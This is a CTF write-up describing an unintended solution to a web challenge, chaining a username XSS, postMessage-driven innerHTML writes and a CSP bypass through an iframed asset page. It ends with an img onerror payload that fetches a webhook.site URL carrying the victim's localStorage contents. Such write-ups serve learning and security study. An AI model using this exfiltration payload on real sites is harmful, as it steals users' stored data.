The author writeup can be found here. The challenge is explained in far greater detail there, while this writeup sort of explains the unintended solution mentioned.
This challenge was solved in collaboration with @Creastery.
We're given two links and the corresponding source code. securestorage embeds secureenclave in an iframe, then interacts with secureenclave through postMessage.
The objective is to submit a malicious page to an admin bot which has the flag stored in secureenclave (in localStorage).
Creastery first points out that the username provides an XSS vector:
We then start looking at secureenclave. The flattening of parameters from postMessage at z(...data.map(d => ${d})); is annoying: it means that we can only send in strings.
z gives us an arbitrary string assignment - what is this even useful for? String assignment seems useless - it does not give us a way to call functions.
Creastery again points out we can use this to write arbitrary HTML by writing into innerHTML: eg document.getElementById("secure_storage").contentWindow.postMessage(["document.body.innerHTML", "<img src='x'/>"], "*");
The next issue is the Content Security Policy present on secureenclave: <meta http-equiv="Content-Security-Policy" content="default-src 'self'; style-src 'self' https://fonts.googleapis.com/css2; font-src 'self' https://fonts.gstatic.com;">. With this in place, we unfortunately cannot execute any JavaScript code on secureenclave even though we can write arbitrary HTML.
After reading this article, we realise that although the main page of secureenclave and other pages all have a CSP defined on them, the assets do not. We can thus create an iframe on secureenclave that includes /secure.js, then since our writes originate from secureenclave, the Same-origin policy allows us to directly modify the contents of the iframe.
With that, we can form our malicious page, which registers a user with the following payload:
Overwrite the body of secureenclave with <iframe id=frame src="/secure.js"></iframe><div id=site>https://securestorage.rars.win</div>. The additional div is necessary so that the check for site in the onmessage handler does not fail
Overwrite the body of the iframe we just created with some code to exfiltrate the flag: <img src=x onerror="fetch('https://webhook.site/0334edcb-76bd-414b-9caf-c5f304c121ce/${btoa(localStorage.message)}')"/>